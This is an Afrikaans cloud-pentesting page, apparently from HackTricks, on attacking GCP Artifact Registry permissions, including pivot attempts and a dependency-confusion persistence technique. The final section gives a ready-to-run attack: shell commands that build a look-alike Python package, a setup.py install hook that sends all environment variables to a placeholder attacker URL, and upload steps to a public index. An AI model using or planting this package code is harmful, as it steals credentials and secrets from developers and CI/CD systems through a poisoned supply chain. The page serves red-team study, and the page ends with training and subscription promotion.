artifactregistry.repositories.setIamPolicy

’n Aanvaller met hierdie toestemming kan homself toestemmings gee om sommige van die voorheen genoemde repository-aanvalle uit te voer.

Pivoting to other Services through Artifact Registry Read & Write

• Cloud Functions

Wanneer ’n Cloud Function geskep word, word ’n nuwe docker image na die Artifact Registry van die projek gepush. Ek het probeer om die image te vervang met ’n nuwe een, en selfs die huidige image (en die cache image) te verwyder, maar niks het verander nie — die Cloud Function het steeds gewerk. Daarom mag dit dalk moontlik wees om ’n Race Condition attack te misbruik soos met die bucket om die docker-container wat uitgevoer sal word te verander, maar slegs die stoor-image te wysig is nie genoeg om die Cloud Function te kompromitteer nie.

• App Engine

Alhoewel App Engine docker images binne Artifact Registry skep, is dit getoets dat selfs as jy die image binne hierdie diens wysig en die App Engine-instansie verwyder (sodat ’n nuwe een gedeploy word), die uitgevoerde kode nie verander nie.
Dit mag moontlik wees dat deur ’n Race Condition attack soos met die buckets die uitgevoerde kode oor geskryf kan word, maar dit is nie getoets nie.

artifactregistry.repositories.update

’n Aanvaller het nie spesifieke Artifact Registry-toestemmings nodig om hierdie probleem te benut nie — slegs ’n kwesbare virtual-repository konfigurasie. Dit gebeur wanneer ’n virtual repository ’n remote public repository (bv. PyPI, npm) met ’n interne een kombineer, en die remote bron gelyke of hoër prioriteit het. As beide ’n pakket met dieselfde naam bevat, kies die stelsel die hoogste weergawe. Die aanvaller hoef net die interne pakketnaam te ken en in staat te wees om pakkette na die ooreenstemmende public registry te publiseer.

Met die artifactregistry.repositories.update toestemming kan ’n aanvaller die upstream-instellings van ’n virtual repository verander om doelbewus hierdie kwesbare opstelling te skep en Dependency Confusion as ’n persistentiemetode te gebruik deur kwaadwillige pakkette in te voeg wat ontwikkelaars of CI/CD-stelsels moontlik outomaties gaan installeer.

Die aanvaller skep ’n kwaadwillige weergawe van die interne pakket in die public repository met ’n hoër weergawe nommer. Vir Python-pakkette beteken dit om ’n pakketstruktuur voor te berei wat die regmatige een naboots.

mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"

Daar word dan ’n setup.py-lêer geskep wat kwaadwillige kode bevat wat tydens die installasie uitgevoer sal word. Hierdie lêer moet ’n weergawenommer spesifiseer wat hoër is as dié in die private repository.

cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse

def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)

class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()

setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF

Bou die pakket en verwyder die wheel om te verseker dat die kode tydens installasie uitgevoer word.

python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl

Laai die kwaadwillige pakket op na die openbare repository (byvoorbeeld test.pypi.org vir Python).

pip install twine
twine upload --repository testpypi dist/*

Wanneer ’n stelsel of diens die pakket installeer deur die virtual repository te gebruik, sal dit die kwaadwillige weergawe vanaf die public repository aflaai in plaas van die wettige interne een, omdat die kwaadwillige weergawe hoër is en die remote repository gelyk of hoër prioriteit het.

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

• Kyk na die subscription plans!
• Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.